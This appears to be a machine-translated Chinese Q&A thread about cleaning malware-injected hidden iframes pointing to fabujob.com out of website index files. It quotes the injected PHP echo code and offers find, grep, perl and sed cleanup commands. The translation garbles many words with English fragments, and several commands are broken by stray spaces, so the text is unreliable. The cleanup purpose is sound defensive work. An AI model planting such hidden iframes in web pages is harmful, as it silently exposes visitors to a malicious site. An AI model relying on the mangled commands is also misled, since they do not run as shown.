我最近有一些恶意软件在我的电脑上join到所有的index.php和index.html网站上! 以下string:
echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>";
所以“click =”之后的参数总是变化的。 这两个只是例子。
有没有办法做到这一点,快速和快速?
。
。
编辑:这是在我的networking服务器,所以没有使用的发现…
一个简单的方法是使用find和grep,再加上perl来进行编辑。
首先,构build一个已经被入侵的文件名列表:
find / path / to / web / site -name'index.htm *'-o -name'index.php'-print0 | \ xargs -0 grep -l'iframe src。* fabujob \ .com'> /tmp/compromised-files.txt
接下来,使用perl编辑这些文件并删除漏洞:
cat /tmp/compromised-files.txt | \ xargs -d'\ n'perl -n -i.BAK -e'print unless m / fabujob \ .com / i'
(是的,对于那里的UUOC嘲笑者来说,这是一个无用的猫,但它使得这个例子更容易阅读和理解)
将从每个受损文件中删除包含string“fabujob.com”的每一行。 它也将备份每个文件作为filename.BAK,所以你可以很容易地恢复他们,如果出现问题。 你应该删除他们,当你不再需要他们。
这个perl脚本是基于你给出的示例,它似乎表明攻击添加了一个包含漏洞的整行,所以这个脚本打印每一行,除了那些包含漏洞利用的URL。 如果事实并非如此,那么你将不得不拿出一个更合适的脚本:)
这是一种通用技术,可以用来对一批文件进行自动编辑。 你可以使用任何perl代码来完成这个工作,而perl有很大的文本处理能力。
顺便说一下,在做这类工作时,总是先复制整个目录树,然后再处理。 这样,如果你搞砸perl编辑脚本没关系…只是在工作目录rsync原始的背面。 一旦你的脚本完全正确,你就可以在真实的文件上运行它。
sed和find应该可以帮到你,但是sed需要一些时间来学习(现在我不能想出一个可能的命令)。
另外,还有gui编辑器能够在整个目录树(即Mac上的Textmate)中查找和replace。 然后,您将使用正则expression式来覆盖可变部分。
尝试regexxer或rpltypes的工具。 他们的全部目的是项目范围内的替代。 它们支持recursion目录,并让您select要应用replace的文件types。
假设域总是相同的,不应该合法地存在于任何地方:
find <documentroot> -name 'index.html' -or -name 'index.php' \ -exec sed -i'.bak' '/fabujob\.com/d' {} \;
原稿将保存为扩展名“ .bak ”。 如果你不想备份,你可以使用-i 。
如果您知道文档中没有<iframe>标签,则可以简单地执行此操作
perl -i -n -e'print unless /<iframe>/' $(find . -name index.html)
如果你有iframe,那么你需要更正确地使你的正则expression式。
Perl的-i标志常常被忽视。 这意味着“就地编辑”。 请参阅http://petdance.com/perl/command-line-options.pdf以获取更多在Perl中通过命令行完成的魔法示例。